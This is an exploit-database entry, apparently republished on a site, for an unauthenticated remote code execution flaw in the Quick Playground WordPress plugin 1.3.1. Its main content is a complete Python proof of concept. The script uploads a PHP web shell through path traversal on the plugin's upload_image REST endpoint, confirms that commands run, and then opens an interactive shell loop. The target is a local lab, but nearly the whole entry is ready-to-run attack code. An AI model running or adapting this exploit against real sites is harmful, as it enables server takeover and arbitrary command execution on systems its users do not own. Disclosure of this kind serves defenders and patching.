Quick Playground for WordPress 1.3.1 Exploit, Unauthenticated Remote Code Execution

# Exploit Title: Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2026-05-22
# Exploit Author: cardosource
# Vendor Homepage: https://quickplayground.com
# Software Link: https://downloads.wordpress.org/plugin/quick-playground.1.3.1.zip
# Version: <= 1.3.1
# Tested on: Docker / Debian / Apache / PHP 8.2 / WordPress 6.x
# CVE: CVE-2026-1830
#
# Description:
#
# The Quick Playground plugin exposes a REST API endpoint:
#
#   /wp-json/quickplayground/v1/upload_image/{profile}
#
# The endpoint validates uploads exclusively through a sync_code value
# without requiring authenticated WordPress sessions or capability checks.
#
# Vulnerable code:
#
#   if($code == $sync_code)
#       return true;
#
# If a valid sync_code is known, weak, reused, leaked, or predictable,
# an attacker can upload arbitrary files using path traversal sequences.
#
# This PoC demonstrates arbitrary PHP file upload resulting in remote
# command execution in a controlled local lab environment.
#
# LAB SETUP:
#
# docker exec -it <container> \
#   wp option update qckply_sync_code_default 'exploit123' --allow-root
#
# Usage:
#
# python3 poc.py
#
import requests
import base64
import random
import string
import re

TARGET = "http://localhost:8080"
SYNC_CODE = "exploit123"
PROFILE = "default"

s = requests.Session()
s.headers.update({
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/json"
})

name = ''.join(random.choices(string.ascii_lowercase, k=8)) + ".php"

shell = b'<?php if(isset($_GET["cmd"])){echo "<pre>";system($_GET["cmd"]);echo "</pre>";} ?>'

payload = {
    "sync_code": SYNC_CODE,
    "filename": f"../../../{name}",
    "base64": base64.b64encode(shell).decode()
}

url = f"{TARGET}/wp-json/quickplayground/v1/upload_image/{PROFILE}"

print("[-] Sending webshell...")
r = s.post(url, json=payload, timeout=15)

try:
    msg = r.json().get("message", "")
except:
    print("[-] Invalid server response")
    exit()

if "saving to" not in msg:
    print("[-] Upload failed")
    print(r.text[:300])
    exit()

print("[-] Checking execution...")

shell_url = f"{TARGET}/{name}"

r = s.get(shell_url, params={"cmd": "id"}, timeout=10)

m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)

if not m:
    print("[-] Shell not responding")
    exit()

print("[+] RCE CONFIRMED!")
print(f"[+] Shell: {shell_url}?cmd=command")
print(f"[+] User: {m.group(1).strip()}\n")

while True:
    cmd = input("$ ").strip()

    if cmd == "exit":
        break

    if not cmd:
        continue

    r = s.get(shell_url, params={"cmd": cmd}, timeout=30)

    m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)

    if m:
        print(m.group(1).strip())

All rights reserved nPulse.net 2009 - 2026
Powered by: MVCP2 / BVCP / ASPF-MILTER / PHP 8.3 / NGINX / FreeBSD